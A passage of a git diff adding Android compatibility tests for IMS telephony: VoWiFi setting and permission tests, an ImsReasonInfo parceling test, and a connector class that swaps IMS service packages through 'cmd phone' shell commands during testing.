+ (m) -> m.setVoWiFiSettingEnabled(!isEnabled));
+
+ waitForLatch(contentObservedLatch, observer);
+ boolean isEnabledResult = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+ ImsMmTelManager::isVoWiFiSettingEnabled);
+ assertEquals("isVoWiFiSettingEnabled did not match value set by setVoWiFiSettingEnabled",
+ !isEnabled, isEnabledResult);
+
+ // Set back to default
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setVoWiFiSettingEnabled(isEnabled));
+ overrideCarrierConfig(null);
+ }
+
+ /**
+ * Set the VoWiFi roaming setting and ensure it is queried successfully. Also ensure the
+ * ContentObserver is triggered properly.
+ */
+ @Test
+ public void testVoWiFiRoamingSetting() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ Uri callingUri = Uri.withAppendedPath(
+ SubscriptionManager.WFC_ROAMING_ENABLED_CONTENT_URI, "" + sTestSub);
+ CountDownLatch contentObservedLatch = new CountDownLatch(1);
+ ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+ ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+ boolean isEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+ ImsMmTelManager::isVoWiFiRoamingSettingEnabled);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setVoWiFiRoamingSettingEnabled(!isEnabled));
+
+ waitForLatch(contentObservedLatch, observer);
+ boolean isEnabledResult = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+ ImsMmTelManager::isVoWiFiRoamingSettingEnabled);
+ assertEquals("isVoWiFiRoamingSettingEnabled result does not match the value set by "
+ + "setVoWiFiRoamingSettingEnabled", !isEnabled, isEnabledResult);
+
+ // Set back to default
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setVoWiFiRoamingSettingEnabled(isEnabled));
+ }
+
+ /**
+ * Set the VoWiFi Mode setting and ensure the ContentResolver is triggered as well.
+ */
+ @Test
+ public void testVoWiFiModeSetting() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ PersistableBundle bundle = new PersistableBundle();
+ bundle.putBoolean(KEY_EDITABLE_WFC_MODE_BOOL, true);
+ overrideCarrierConfig(bundle);
+ // Register Observer
+ Uri callingUri = Uri.withAppendedPath(
+ SubscriptionManager.WFC_MODE_CONTENT_URI, "" + sTestSub);
+ CountDownLatch contentObservedLatch = new CountDownLatch(1);
+ ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+ ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+ int oldMode = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+ ImsMmTelManager::getVoWiFiModeSetting);
+ // Keep the mode in the bounds 0-2
+ int newMode = (oldMode + 1) % 3;
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setVoWiFiModeSetting(newMode));
+
+ waitForLatch(contentObservedLatch, observer);
+ int newModeResult = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+ ImsMmTelManager::getVoWiFiModeSetting);
+ assertEquals(newMode, newModeResult);
+
+ // Set back to default
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setVoWiFiModeSetting(oldMode));
+ overrideCarrierConfig(null);
+ }
+
+ /**
+ * Set the VoWiFi Mode setting and ensure the ContentResolver is triggered as well.
+ */
+ @Test
+ public void testVoWiFiRoamingModeSetting() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ PersistableBundle bundle = new PersistableBundle();
+ // Ensure the WFC roaming mode will be changed properly
+ bundle.putBoolean(KEY_USE_WFC_HOME_NETWORK_MODE_IN_ROAMING_NETWORK_BOOL, false);
+ bundle.putBoolean(KEY_EDITABLE_WFC_ROAMING_MODE_BOOL, true);
+ overrideCarrierConfig(bundle);
+ // Register Observer
+ Uri callingUri = Uri.withAppendedPath(
+ SubscriptionManager.WFC_ROAMING_MODE_CONTENT_URI, "" + sTestSub);
+ CountDownLatch contentObservedLatch = new CountDownLatch(1);
+ ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+ ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+ int oldMode = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+ ImsMmTelManager::getVoWiFiRoamingModeSetting);
+ // Keep the mode in the bounds 0-2
+ int newMode = (oldMode + 1) % 3;
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setVoWiFiRoamingModeSetting(newMode));
+
+ waitForLatch(contentObservedLatch, observer);
+ int newModeResult = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+ ImsMmTelManager::getVoWiFiRoamingModeSetting);
+ assertEquals("getVoWiFiRoamingModeSetting was not set to value set by"
+ + "setVoWiFiRoamingModeSetting", newMode, newModeResult);
+
+ // Set back to default
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setVoWiFiRoamingModeSetting(oldMode));
+ overrideCarrierConfig(null);
+ }
+
+ /**
+ * Test Permissions on various APIs.
+ */
+ @Test
+ public void testMethodPermissions() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+ // setRttCapabilitySetting
+ try {
+ mMmTelManager.setRttCapabilitySetting(false);
+ fail("setRttCapabilitySetting requires MODIFY_PHONE_STATE permission.");
+ } catch (SecurityException e) {
+ //expected
+ }
+ try {
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setRttCapabilitySetting(false),
+ "android.permission.MODIFY_PHONE_STATE");
+ } catch (SecurityException e) {
+ fail("setRttCapabilitySetting requires MODIFY_PHONE_STATE permission.");
+ }
+ // setVoWiFiNonPersistent
+ try {
+ mMmTelManager.setVoWiFiNonPersistent(true,
+ ImsMmTelManager.WIFI_MODE_CELLULAR_PREFERRED);
+ fail("setVoWiFiNonPersistent requires MODIFY_PHONE_STATE permission.");
+ } catch (SecurityException e) {
+ //expected
+ }
+ try {
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.setVoWiFiNonPersistent(true,
+ ImsMmTelManager.WIFI_MODE_CELLULAR_PREFERRED),
+ "android.permission.MODIFY_PHONE_STATE");
+ } catch (SecurityException e) {
+ fail("setVoWiFiNonPersistent requires MODIFY_PHONE_STATE permission.");
+ }
+
+ try {
+ mMmTelManager.isTtyOverVolteEnabled();
+ fail("isTtyOverVolteEnabled requires READ_PRIVILEGED_PHONE_STATE permission.");
+ } catch (SecurityException e) {
+ //expected
+ }
+ try {
+ mMmTelManager.isSupported(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+ AccessNetworkConstants.TRANSPORT_TYPE_WWAN, Runnable::run, (result) -> { });
+ fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission.");
+ } catch (SecurityException e) {
+ //expected
+ }
+ try {
+ mMmTelManager.getRegistrationState(Runnable::run, (result) -> { });
+ fail("getRegistrationState requires READ_PRIVILEGED_PHONE_STATE permission.");
+ } catch (SecurityException e) {
+ //expected
+ }
+ try {
+ mMmTelManager.getRegistrationTransportType(Runnable::run, (result) -> { });
+ fail("getRegistrationTransportType requires READ_PRIVILEGED_PHONE_STATE permission.");
+ } catch (SecurityException e) {
+ //expected
+ }
+
+ try {
+ mMmTelManager.isSupported(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+ AccessNetworkConstants.TRANSPORT_TYPE_WWAN, Runnable::run, (result) -> { });
+ fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission.");
+ } catch (SecurityException e) {
+ //expected
+ }
+
+ try {
+ ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+ ImsMmTelManager::isTtyOverVolteEnabled,
+ "android.permission.READ_PRIVILEGED_PHONE_STATE");
+ } catch (SecurityException e) {
+ fail("isTtyOverVolteEnabled requires READ_PRIVILEGED_PHONE_STATE permission.");
+ }
+ try {
+ LinkedBlockingQueue<Boolean> resultQueue = new LinkedBlockingQueue<>(1);
+ ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.isSupported(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+ AccessNetworkConstants.TRANSPORT_TYPE_WWAN,
+ // Run on the binder thread.
+ Runnable::run,
+ resultQueue::offer), ImsException.class,
+ "android.permission.READ_PRIVILEGED_PHONE_STATE");
+ assertNotNull(resultQueue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ } catch (SecurityException e) {
+ fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission.");
+ }
+ try {
+ LinkedBlockingQueue<Integer> resultQueue = new LinkedBlockingQueue<>(1);
+ ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.getRegistrationState(Runnable::run, resultQueue::offer),
+ ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE");
+ assertNotNull(resultQueue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ } catch (SecurityException e) {
+ fail("getRegistrationState requires READ_PRIVILEGED_PHONE_STATE permission.");
+ }
+ try {
+ LinkedBlockingQueue<Integer> resultQueue = new LinkedBlockingQueue<>(1);
+ ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+ (m) -> m.getRegistrationTransportType(Runnable::run, resultQueue::offer),
+ ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE");
+ assertNotNull(resultQueue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ } catch (SecurityException e) {
+ fail("getRegistrationTransportType requires READ_PRIVILEGED_PHONE_STATE permission.");
+ }
+ }
+
+ private void overrideCarrierConfig(PersistableBundle bundle) throws Exception {
+ CarrierConfigManager carrierConfigManager = getContext().getSystemService(
+ CarrierConfigManager.class);
+ sReceiver.clearQueue();
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(carrierConfigManager,
+ (m) -> m.overrideConfig(sTestSub, bundle));
+ sReceiver.waitForCarrierConfigChanged();
+ }
+
+ private ContentObserver createObserver(Uri observerUri, CountDownLatch latch) {
+ ContentObserver observer = new ContentObserver(sHandler) {
+ @Override
+ public void onChange(boolean selfChange, Uri uri) {
+ if (observerUri.equals(uri)) {
+ latch.countDown();
+ }
+ }
+ };
+ getContext().getContentResolver().registerContentObserver(observerUri, true, observer);
+ return observer;
+ }
+
+ private void waitForLatch(CountDownLatch latch, ContentObserver observer) {
+ try {
+ // Wait for the ContentObserver to fire signalling the change.
+ latch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ fail("Interrupted Exception waiting for latch countdown:" + e.getMessage());
+ } finally {
+ getContext().getContentResolver().unregisterContentObserver(observer);
+ }
+ }
+
+ private static Context getContext() {
+ return InstrumentationRegistry.getInstrumentation().getContext();
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsReasonInfoTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsReasonInfoTest.java
new file mode 100644
index 0000000..181aa9d
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsReasonInfoTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.telephony.ims.ImsReasonInfo;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsReasonInfoTest {
+ private ImsReasonInfo mInfo;
+ int mCode = ImsReasonInfo.CODE_LOCAL_IMS_SERVICE_DOWN;
+ int mExtraCode = ImsReasonInfo.EXTRA_CODE_CALL_RETRY_NORMAL;
+
+
+ @Test
+ public void testBasics() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ String extraMessage = null;
+ mInfo = new ImsReasonInfo(mCode, mExtraCode, extraMessage);
+ assertEquals(mCode, mInfo.getCode());
+ assertEquals(mExtraCode, mInfo.getExtraCode());
+ assertEquals(extraMessage, mInfo.getExtraMessage());
+ }
+ @Test
+ public void testParcelUnparcel() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ String extraMessage = "oops";
+ mInfo = new ImsReasonInfo(mCode, mExtraCode, extraMessage);
+
+
+ Parcel parcel = Parcel.obtain();
+ mInfo.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ ImsReasonInfo unparceledInfo = ImsReasonInfo.CREATOR.createFromParcel(parcel);
+ parcel.recycle();
+
+ assertEquals(mCode, unparceledInfo.getCode());
+ assertEquals(mExtraCode, unparceledInfo.getExtraCode());
+ assertEquals(extraMessage, unparceledInfo.getExtraMessage());
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
new file mode 100644
index 0000000..dcc0f9a
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
@@ -0,0 +1,479 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.app.Instrumentation;
+import android.app.role.RoleManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.telephony.cts.TelephonyUtils;
+import android.telephony.cts.externalimsservice.ITestExternalImsService;
+import android.telephony.cts.externalimsservice.TestExternalImsService;
+import android.telephony.ims.feature.ImsFeature;
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Connects The CTS test ImsService to the Telephony Framework.
+ */
+class ImsServiceConnector {
+
+ private static final String TAG = "CtsImsServiceConnector";
+
+ private static final String PACKAGE_NAME =
+ InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageName();
+ private static final String EXTERNAL_PACKAGE_NAME =
+ TestExternalImsService.class.getPackage().getName();
+
+ private static final String COMMAND_BASE = "cmd phone ";
+ private static final String COMMAND_SET_IMS_SERVICE = "ims set-ims-service ";
+ private static final String COMMAND_GET_IMS_SERVICE = "ims get-ims-service ";
+ private static final String COMMAND_CARRIER_SERVICE_IDENTIFIER = "-c ";
+ private static final String COMMAND_DEVICE_SERVICE_IDENTIFIER = "-d ";
+ private static final String COMMAND_SLOT_IDENTIFIER = "-s ";
+ private static final String COMMAND_FEATURE_IDENTIFIER = "-f ";
+ private static final String COMMAND_ENABLE_IMS = "ims enable ";
+ private static final String COMMAND_DISABLE_IMS = "ims disable ";
+
+ private class TestCarrierServiceConnection implements ServiceConnection {
+
+ private final CountDownLatch mLatch;
+
+ TestCarrierServiceConnection(CountDownLatch latch) {
+ mLatch = latch;
+ }
+
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ mCarrierService = ((TestImsService.LocalBinder) service).getService();
+ mLatch.countDown();
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ mCarrierService = null;
+ }
+ }
+
+ private class TestDeviceServiceConnection implements ServiceConnection {
+
+ private final CountDownLatch mLatch;
+
+ TestDeviceServiceConnection(CountDownLatch latch) {
+ mLatch = latch;
+ }
+
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ mExternalService = ITestExternalImsService.Stub.asInterface(service);
+ mLatch.countDown();
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ mCarrierService = null;
+ }
+ }
+
+ public class Connection {
+
+ private static final int CONNECTION_TYPE_IMS_SERVICE_DEVICE = 1;
+ private static final int CONNECTION_TYPE_IMS_SERVICE_CARRIER = 2;
+ private static final int CONNECTION_TYPE_DEFAULT_SMS_APP = 3;
+
+ private boolean mIsServiceOverridden = false;
+ private String mOrigMmTelServicePackage;
+ private String mOrigRcsServicePackage;
+ private String mOrigSmsPackage;
+ private int mConnectionType;
+ private int mSlotId;
+ Connection(int connectionType, int slotId) {
+ mConnectionType = connectionType;
+ mSlotId = slotId;
+ }
+
+ void clearPackage() throws Exception {
+ mIsServiceOverridden = true;
+ switch (mConnectionType) {
+ case CONNECTION_TYPE_IMS_SERVICE_CARRIER: {
+ setCarrierImsService("none");
+ break;
+ }
+ case CONNECTION_TYPE_IMS_SERVICE_DEVICE: {
+ setDeviceImsService("");
+ break;
+ }
+ case CONNECTION_TYPE_DEFAULT_SMS_APP: {
+ // We don't need to clear anything for default SMS app.
+ break;
+ }
+ }
+ }
+
+ boolean overrideService(ImsFeatureConfiguration config) throws Exception {
+ switch (mConnectionType) {
+ case CONNECTION_TYPE_IMS_SERVICE_CARRIER: {
+ return bindCarrierImsService(config, PACKAGE_NAME);
+ }
+ case CONNECTION_TYPE_IMS_SERVICE_DEVICE: {
+ return bindDeviceImsService(config, EXTERNAL_PACKAGE_NAME);
+ }
+ case CONNECTION_TYPE_DEFAULT_SMS_APP: {
+ setDefaultSmsApp(PACKAGE_NAME);
+ break;
+ }
+ }
+ return false;
+ }
+
+ void restoreOriginalPackage() throws Exception {
+ if (!mIsServiceOverridden) {
+ return;
+ }
+
+ if (mOrigRcsServicePackage == null) {
+ mOrigRcsServicePackage = "";
+ }
+
+ if (mOrigMmTelServicePackage == null) {
+ mOrigMmTelServicePackage = "";
+ }
+
+ switch (mConnectionType) {
+ case CONNECTION_TYPE_IMS_SERVICE_CARRIER: {
+ setCarrierImsService(mOrigMmTelServicePackage, ImsFeature.FEATURE_MMTEL);
+ setCarrierImsService(mOrigRcsServicePackage, ImsFeature.FEATURE_RCS);
+ break;
+ }
+ case CONNECTION_TYPE_IMS_SERVICE_DEVICE: {
+ setDeviceImsService(mOrigMmTelServicePackage, ImsFeature.FEATURE_MMTEL);
+ setDeviceImsService(mOrigRcsServicePackage, ImsFeature.FEATURE_RCS);
+ break;
+ }
+ case CONNECTION_TYPE_DEFAULT_SMS_APP: {
+ setDefaultSmsApp(mOrigSmsPackage);
+ break;
+ }
+ }
+ }
+
+ private void storeOriginalPackage() throws Exception {
+ switch (mConnectionType) {
+ case CONNECTION_TYPE_IMS_SERVICE_CARRIER: {
+ mOrigMmTelServicePackage = getOriginalMmTelCarrierService();
+ mOrigRcsServicePackage = getOriginalRcsCarrierService();
+ break;
+ }
+ case CONNECTION_TYPE_IMS_SERVICE_DEVICE: {
+ mOrigMmTelServicePackage = getOriginalMmTelDeviceService();
+ mOrigRcsServicePackage = getOriginalRcsDeviceService();
+ break;
+ }
+ case CONNECTION_TYPE_DEFAULT_SMS_APP: {
+ mOrigSmsPackage = getDefaultSmsApp();
+ break;
+ }
+ }
+ }
+
+ private boolean setDeviceImsService(String packageName) throws Exception {
+ String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+ constructSetImsServiceOverrideCommand(false, packageName, new int[] {
+ ImsFeature.FEATURE_MMTEL, ImsFeature.FEATURE_RCS}));
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "setDeviceMmTelImsService result: " + result);
+ }
+ return "true".equals(result);
+ }
+
+ private boolean setCarrierImsService(String packageName) throws Exception {
+ String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+ constructSetImsServiceOverrideCommand(true, packageName, new int[] {
+ ImsFeature.FEATURE_MMTEL, ImsFeature.FEATURE_RCS}));
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "setCarrierMmTelImsService result: " + result);
+ }
+ return "true".equals(result);
+ }
+
+ private boolean setDeviceImsService(String packageName, int featureType) throws Exception {
+ String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+ constructSetImsServiceOverrideCommand(false, packageName,
+ new int[]{featureType}));
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "setDeviceMmTelImsService result: " + result);
+ }
+ return "true".equals(result);
+ }
+
+ private boolean setCarrierImsService(String packageName, int featureType) throws Exception {
+ String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+ constructSetImsServiceOverrideCommand(true, packageName,
+ new int[]{featureType}));
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "setCarrierMmTelImsService result: " + result);
+ }
+ return "true".equals(result);
+ }
+
+ private void setDefaultSmsApp(String packageName) throws Exception {
+ RoleManager roleManager = mInstrumentation.getContext()
+ .getSystemService(RoleManager.class);
+ Boolean result;
+ LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue<>(1);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(roleManager,
+ (m) -> m.addRoleHolderAsUser(RoleManager.ROLE_SMS, packageName, 0,
+ android.os.Process.myUserHandle(),
+ // Run on calling binder thread.
+ Runnable::run, queue::offer));
+ result = queue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "setDefaultSmsApp result: " + result);
+ }
+ }
+
+ private String getDefaultSmsApp() throws Exception {
+ RoleManager roleManager = mInstrumentation.getContext()
+ .getSystemService(RoleManager.class);
+ List<String> result = ShellIdentityUtils.invokeMethodWithShellPermissions(roleManager,
+ (m) -> m.getRoleHolders(RoleManager.ROLE_SMS));
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "getDefaultSmsApp result: " + result);
+ }
+ // There should only be one default sms app
+ return result.get(0);
+ }
+
+ private boolean bindCarrierImsService(ImsFeatureConfiguration config, String packageName)
+ throws Exception {
+ getCarrierService().setFeatureConfig(config);
+ return setCarrierImsService(packageName) && getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_FEATURES_READY);
+ }
+
+ private boolean bindDeviceImsService(ImsFeatureConfiguration config, String packageName)
+ throws Exception {
+ getExternalService().setFeatureConfig(config);
+ return setDeviceImsService(packageName) && getExternalService().waitForLatchCountdown(
+ TestImsService.LATCH_FEATURES_READY);
+ }
+
+ private String getOriginalMmTelCarrierService() throws Exception {
+ String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+ constructGetImsServiceCommand(true, ImsFeature.FEATURE_MMTEL));
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "getOriginalMmTelCarrierService result: " + result);
+ }
+ return result;
+ }
+
+ private String getOriginalRcsCarrierService() throws Exception {
+ String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+ constructGetImsServiceCommand(true, ImsFeature.FEATURE_RCS));
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "getOriginalRcsCarrierService result: " + result);
+ }
+ return result;
+ }
+
+ private String getOriginalMmTelDeviceService() throws Exception {
+ String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+ constructGetImsServiceCommand(false, ImsFeature.FEATURE_MMTEL));
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "getOriginalMmTelDeviceService result: " + result);
+ }
+ return result;
+ }
+
+ private String getOriginalRcsDeviceService() throws Exception {
+ String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+ constructGetImsServiceCommand(false, ImsFeature.FEATURE_RCS));
+ if (ImsUtils.VDBG) {
+ Log.d(TAG, "getOriginalRcsDeviceService result: " + result);
+ }
+ return result;
+ }
+
+ private String constructSetImsServiceOverrideCommand(boolean isCarrierService,
+ String packageName, int[] featureTypes) {
+ return COMMAND_BASE + COMMAND_SET_IMS_SERVICE + COMMAND_SLOT_IDENTIFIER + mSlotId + " "
+ + (isCarrierService
+ ? COMMAND_CARRIER_SERVICE_IDENTIFIER : COMMAND_DEVICE_SERVICE_IDENTIFIER)
+ + COMMAND_FEATURE_IDENTIFIER + getFeatureTypesString(featureTypes) + " "
+ + packageName;
+ }
+
+ private String constructGetImsServiceCommand(boolean isCarrierService, int featureType) {
+ return COMMAND_BASE + COMMAND_GET_IMS_SERVICE + COMMAND_SLOT_IDENTIFIER + mSlotId + " "
+ + (isCarrierService
+ ? COMMAND_CARRIER_SERVICE_IDENTIFIER : COMMAND_DEVICE_SERVICE_IDENTIFIER)
+ + COMMAND_FEATURE_IDENTIFIER + featureType;
+ }
+
+ private String getFeatureTypesString(int[] featureTypes) {
+ if (featureTypes.length == 0) return "";
+ StringBuilder builder = new StringBuilder();
+ builder.append(featureTypes[0]);
+ for (int i = 1; i < featureTypes.length; i++) {
+ builder.append(",");
+ builder.append(featureTypes[i]);
+ }
+ return builder.toString();
+ }
+ }
+
+ private Instrumentation mInstrumentation;
+
+ private TestImsService mCarrierService;
+ private TestCarrierServiceConnection mCarrierServiceConn;
+ private ITestExternalImsService mExternalService;
+ private TestDeviceServiceConnection mExternalServiceConn;
+
+ private Connection mDeviceServiceConnection;
+ private Connection mCarrierServiceConnection;
+ private Connection mDefaultSmsAppConnection;
+
+ ImsServiceConnector(Instrumentation instrumentation) {
+ mInstrumentation = instrumentation;
+ }
+
+ void clearAllActiveImsServices(int slotId) throws Exception {
+ mDeviceServiceConnection = new Connection(Connection.CONNECTION_TYPE_IMS_SERVICE_DEVICE,
+ slotId);
+ mDeviceServiceConnection.storeOriginalPackage();
+ mDeviceServiceConnection.clearPackage();
+
+ mCarrierServiceConnection = new Connection(Connection.CONNECTION_TYPE_IMS_SERVICE_CARRIER,
+ slotId);
+ mCarrierServiceConnection.storeOriginalPackage();
+ mCarrierServiceConnection.clearPackage();
+
+ mDefaultSmsAppConnection = new Connection(Connection.CONNECTION_TYPE_DEFAULT_SMS_APP,
+ slotId);
+ mDefaultSmsAppConnection.storeOriginalPackage();
+ // No need to clear SMS App, only replace when necessary.
+ }
+
+ boolean connectCarrierImsService(ImsFeatureConfiguration config) throws Exception {
+ if (!setupLocalCarrierImsService()) {
+ Log.w(TAG, "connectCarrierImsService: couldn't set up service.");
+ return false;
+ }
+ mCarrierService.resetState();
+ return mCarrierServiceConnection.overrideService(config);
+ }
+
+ boolean connectDeviceImsService(ImsFeatureConfiguration config) throws Exception {
+ if (!setupExternalImsService()) {
+ Log.w(TAG, "connectDeviceImsService: couldn't set up service.");
+ return false;
+ }
+ mExternalService.resetState();
+ return mDeviceServiceConnection.overrideService(config);
+ }
+
+ void setDefaultSmsApp() throws Exception {
+ mDefaultSmsAppConnection.overrideService(null);
+ }
+
+ void disconnectCarrierImsService() throws Exception {
+ mCarrierServiceConnection.clearPackage();
+ }
+
+ void disconnectDeviceImsService() throws Exception {
+ mDeviceServiceConnection.clearPackage();
+ }
+
+ private boolean setupLocalCarrierImsService() {
+ if (mCarrierService != null) {
+ return true;
+ }
+ CountDownLatch latch = new CountDownLatch(1);
+ mCarrierServiceConn = new TestCarrierServiceConnection(latch);
+ mInstrumentation.getContext().bindService(new Intent(mInstrumentation.getContext(),
+ TestImsService.class), mCarrierServiceConn, Context.BIND_AUTO_CREATE);
+ try {
+ return latch.await(5000, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ return false;
+ }
+ }
+
+ private boolean setupExternalImsService() {
+ if (mExternalService != null) {
+ return true;
+ }
+ CountDownLatch latch = new CountDownLatch(1);
+ mExternalServiceConn = new TestDeviceServiceConnection(latch);
+ Intent deviceIntent = new Intent();
+ deviceIntent.setComponent(new ComponentName(EXTERNAL_PACKAGE_NAME,
+ TestExternalImsService.class.getName()));
+ mInstrumentation.getContext().bindService(deviceIntent, mExternalServiceConn,
+ Context.BIND_AUTO_CREATE);
+ try {
+ return latch.await(5000, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ return false;
+ }
+ }
+
+ // Detect and disconnect all active services.
+ void disconnectServices() throws Exception {
+ // Remove local connection
+ if (mCarrierServiceConn != null) {
+ mInstrumentation.getContext().unbindService(mCarrierServiceConn);
+ mCarrierService = null;
+ }
+ if (mExternalServiceConn != null) {
+ mInstrumentation.getContext().unbindService(mExternalServiceConn);
+ mExternalService = null;
+ }
+ mDeviceServiceConnection.restoreOriginalPackage();
+ mCarrierServiceConnection.restoreOriginalPackage();
+ mDefaultSmsAppConnection.restoreOriginalPackage();
+ }
+
+ void enableImsService(int slot) throws Exception {
